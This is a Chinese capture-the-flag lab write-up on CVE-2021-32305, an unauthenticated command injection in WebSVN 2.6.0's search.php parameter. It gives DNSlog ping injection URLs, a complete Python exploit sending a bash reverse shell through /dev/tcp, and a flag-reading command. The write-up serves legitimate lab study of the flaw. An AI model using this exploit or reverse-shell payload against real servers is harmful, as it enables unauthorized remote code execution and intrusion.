声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
靶场介绍
WebSVN是一个基于Web的Subversion Repository浏览器,可以查看文件或文件夹的日志,查看文件的变化列表等。其search.php?search= 参数下过滤不严谨导致RCE。
春秋云镜开启靶场:
http://eci-2ze4llupfqpd6hmetmkb.cloudeci1.ichunqiu.com
验证漏洞
http://eci-2ze4llupfqpd6hmetmkb.cloudeci1.ichunqiu.com/search.php?search=%22;ping%20cjahpn.dnslog.cn;%22
/search.php?search=";ping lyoea0.dnslog.cn;"
漏洞EXP
# Exploit Title: Websvn 2.6.0 - Remote Code Execution (Unauthenticated)
# Date: 20/06/2021
# Exploit Author: g0ldm45k
# Vendor Homepage: https://websvnphp.github.io/
# Software Link: https://github.com/websvnphp/websvn/releases/tag/2.6.0
# Version: 2.6.0
# Tested on: Docker + Debian GNU/Linux (Buster)
# CVE : CVE-2021-32305
import requests
import argparse
from urllib.parse import quote_plus
PAYLOAD = "/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0>&1'"
REQUEST_PAYLOAD = '/search.php?search=";{};"'
parser = argparse.ArgumentParser(description='Send a payload to a websvn 2.6.0 server.')
parser.add_argument('target', type=str, help="Target URL.")
args = parser.parse_args()
if args.target.startswith("http://") or args.target.startswith("https://"):
target = args.target
else:
print("[!] Target should start with either http:// or https://")
exit()
requests.get(target + REQUEST_PAYLOAD.format(quote_plus(PAYLOAD)))
print("[*] Request send. Did you get what you wanted?")
成功反弹shell
cat ../../../../../../flag文章来源:https://www.toymoban.com/news/detail-503965.html
文章来源地址https://www.toymoban.com/news/detail-503965.html
到了这里,关于[春秋云镜]CVE-2021-32305的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!